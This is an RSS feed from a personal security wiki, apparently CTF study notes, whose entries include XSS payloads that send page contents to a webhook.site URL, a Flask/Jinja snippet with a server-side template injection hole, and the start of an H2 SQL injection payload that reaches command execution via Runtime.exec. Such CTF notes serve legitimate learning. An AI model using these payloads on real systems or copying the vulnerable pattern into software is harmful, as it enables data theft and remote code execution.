<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.8" -->
<?xml-stylesheet href="http://abyss.osorin.net/lib/exe/css.php?s=feed" type="text/css"?>
<rdf:RDF
    xmlns="http://purl.org/rss/1.0/"
    xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel rdf:about="http://abyss.osorin.net/feed.php">
        <title>osorin&#039;s abyss</title>
        <description></description>
        <link>http://abyss.osorin.net/</link>
        <image rdf:resource="http://abyss.osorin.net/_media/wiki:logo.png" />
       <dc:date>2026-05-03T09:38:58+00:00</dc:date>
        <items>
            <rdf:Seq>
                <rdf:li rdf:resource="http://abyss.osorin.net/lockpicking:index?rev=1773284345&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/playground:poc_trigger?rev=1772739366&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/xss-payloads?rev=1740013826&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/sqli-no-commas?rev=1739143239&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/http-pipelining?rev=1739142252&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/3dprinting:index?rev=1739142185&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/pydantic-jinja-ssti?rev=1733781780&amp;do=diff"/>
                <rdf:li rdf:resource="http://abyss.osorin.net/java-h2-sqli-rce?rev=1733178651&amp;do=diff"/>
            </rdf:Seq>
        </items>
    </channel>
    <image rdf:about="http://abyss.osorin.net/_media/wiki:logo.png">
        <title>osorin's abyss</title>
        <link>http://abyss.osorin.net/</link>
        <url>http://abyss.osorin.net/_media/wiki:logo.png</url>
    </image>
    <item rdf:about="http://abyss.osorin.net/lockpicking:index?rev=1773284345&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2026-03-12T02:59:05+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>index</title>
        <link>http://abyss.osorin.net/lockpicking:index?rev=1773284345&amp;do=diff</link>
        <description>Index for Lockpicking Topics

Read my latest physical security post in our research blog i0.rs: &lt;https://i0.rs/blog/introduction-to-physical-security-lock-picking-on-a-budget/&gt;</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/playground:poc_trigger?rev=1772739366&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2026-03-05T19:36:06+00:00</dc:date>
        <dc:creator>osorin (osorin@undisclosed.example.com)</dc:creator>
        <title>poc_trigger</title>
        <link>http://abyss.osorin.net/playground:poc_trigger?rev=1772739366&amp;do=diff</link>
        <description></description>
    </item>
    <item rdf:about="http://abyss.osorin.net/xss-payloads?rev=1740013826&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2025-02-20T01:10:26+00:00</dc:date>
        <dc:creator>osorin (osorin@undisclosed.example.com)</dc:creator>
        <title>xss-payloads</title>
        <link>http://abyss.osorin.net/xss-payloads?rev=1740013826&amp;do=diff</link>
        <description>XSS Payloads LACTF

Some payloads from LACTF 2025: [WEB] purell

&lt;https://github.com/uclaacm/lactf-archive/blob/main/2025/web/purell/payloads.txt&gt;


&lt;script&gt;
 fetch(&#039;https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=&#039;+encodeURIComponent(document.body.innerHTML))
&lt;/script&gt;

&lt;img src=/f onerror=fetch(&#039;https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=&#039;+encodeURIComponent(document.body.innerHTML))&gt;

&lt;SCRIPT&gt;
 fetch(&#039;https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=&#039;+e…</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/sqli-no-commas?rev=1739143239&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2025-02-09T23:20:39+00:00</dc:date>
        <dc:creator>osorin (osorin@undisclosed.example.com)</dc:creator>
        <title>sqli-no-commas</title>
        <link>http://abyss.osorin.net/sqli-no-commas?rev=1739143239&amp;do=diff</link>
        <description>SQLi No Commas

Lessons learned from nullconctf 2025: [WEB] paginator v2

Basically sqli without commas: &lt;https://www.sidechannel.blog/en/sql-injection-there-was-a-comma-halfway/&gt;
&lt;https://mindcrafters.xyz/writeups/nullconctf-2025-web/&gt;</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/http-pipelining?rev=1739142252&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2025-02-09T23:04:12+00:00</dc:date>
        <dc:creator>osorin (osorin@undisclosed.example.com)</dc:creator>
        <title>http-pipelining</title>
        <link>http://abyss.osorin.net/http-pipelining?rev=1739142252&amp;do=diff</link>
        <description>HTTP Pipelining + HTTP/2 Single Packets

Lessons learned from LACTF 2025: [WEB] whats-my-number

TL;DR: Get enough Math.random values to crack with randcrack (V8). In order to “race” (not really) and get consecutive values, you must send your requests with http pipelining or http/2 single packets.</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/3dprinting:index?rev=1739142185&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2025-02-09T23:03:05+00:00</dc:date>
        <dc:creator>osorin (osorin@undisclosed.example.com)</dc:creator>
        <title>index</title>
        <link>http://abyss.osorin.net/3dprinting:index?rev=1739142185&amp;do=diff</link>
        <description>Index for 3D Printed Miniatures

soon™</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/pydantic-jinja-ssti?rev=1733781780&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-12-09T22:03:00+00:00</dc:date>
        <dc:creator>osorin (osorin@undisclosed.example.com)</dc:creator>
        <title>pydantic-jinja-ssti</title>
        <link>http://abyss.osorin.net/pydantic-jinja-ssti?rev=1733781780&amp;do=diff</link>
        <description>Pydantic email validator + jinja ssti


class EmailModel(BaseModel):
    email: EmailStr

@app.route(&#039;/render&#039;, methods=[&#039;POST&#039;])
def render_email():
    email = request.form.get(&#039;email&#039;)

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template(&#039;mail.html&#039;, error=&quot;Invalid email format.&quot;)</description>
    </item>
    <item rdf:about="http://abyss.osorin.net/java-h2-sqli-rce?rev=1733178651&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2024-12-02T22:30:51+00:00</dc:date>
        <dc:creator>osorin (osorin@undisclosed.example.com)</dc:creator>
        <title>java-h2-sqli-rce</title>
        <link>http://abyss.osorin.net/java-h2-sqli-rce?rev=1733178651&amp;do=diff</link>
        <description>H2 SQL injection to RCE


http://localhost:1338/api/note?name=aa&#039;; 
CREATE ALIAS BOBOB AS &#039;String e(String cmd) throws java.io.IOException{ 
    try { 
        java.lang.Runtime rt = java.lang.Runtime.getRuntime(); 
        java.lang.Process proc = rt.exec(cmd); 
        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream())); 
        String line; 
        StringBuilder output = new StringBuilder(); 
        while ((line = reader.readLine…</description>
    </item>
</rdf:RDF>
